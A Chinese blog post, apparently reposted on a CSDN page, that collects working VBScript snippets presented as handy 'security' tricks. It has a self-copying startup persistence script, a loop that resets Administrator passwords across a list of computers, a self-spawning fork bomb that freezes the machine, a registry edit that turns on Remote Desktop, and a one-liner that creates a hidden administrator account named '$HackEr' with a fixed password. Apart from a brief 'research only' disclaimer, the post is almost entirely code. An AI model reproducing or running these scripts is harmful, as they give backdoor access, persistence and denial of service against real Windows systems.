VBscript实现开机自动启动,自动复制原件后启动

set fso = createobject("scripting.filesystemobject")  
set ws = createobject("wscript.shell")   
Msgbox"Messed up"
pt = ws.specialfolders("startup") & "\"   
set file = fso.getfile(wscript.scriptfullname)   
file.copy pt

set copy1=createobject("scripting.filesystemobject")         
copy1.getfile(wscript.scriptfullname).copy("E:\huan.vbs")   

Dim delayer
Set delayer = CreateObject("WScript.Shell")
WScript.sleep 10
delayer.Run """E:\huan.vbs""", 0, FALSE

注册到启动项,可以通过win+X-->运行 msconfig 进入 启动-->任务管理器  禁用  或者 直接删除源文件停止。

第一次尝试VBscript,发现这玩意儿做安全实在是好用,不过,不能乱玩儿,容易出事儿....

比如:修改Admin的密码

Dim WshShell, oExec
Set wshShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objInputFile = objFSO.OpenTextFile("D:\test\computer.txt",1)
do until objInputFile.AtEndofStream
strcomputer = objInputFile.ReadLine
Set objUser = GetObject("WinNT://" & strComputer & "/Administrator, user")
objUser.SetPassword "new password"
objUser.SetInfo
loop

比如:卡死电脑

Do
CreateObject("WScript.Shell").Run Chr(34) & WScript.ScriptFullName & Chr(34)
Loop

再比如:开启远程桌面

on error resume next

const HKEY_LOCAL_MACHINE = &H80000002

strComputer = "."

Set StdOut = WScript.StdOut
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")


strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
strValueName = "fDenyTSConnections"
dwValue = 0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue


on error resume next

dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="$HackEr":password="393214425":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)*wscript.echo of.ADsPath

 

(仅用于研究,请勿乱用,自己电脑实验请忽略)

转载于:https://www.cnblogs.com/jokerjason/p/7722677.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值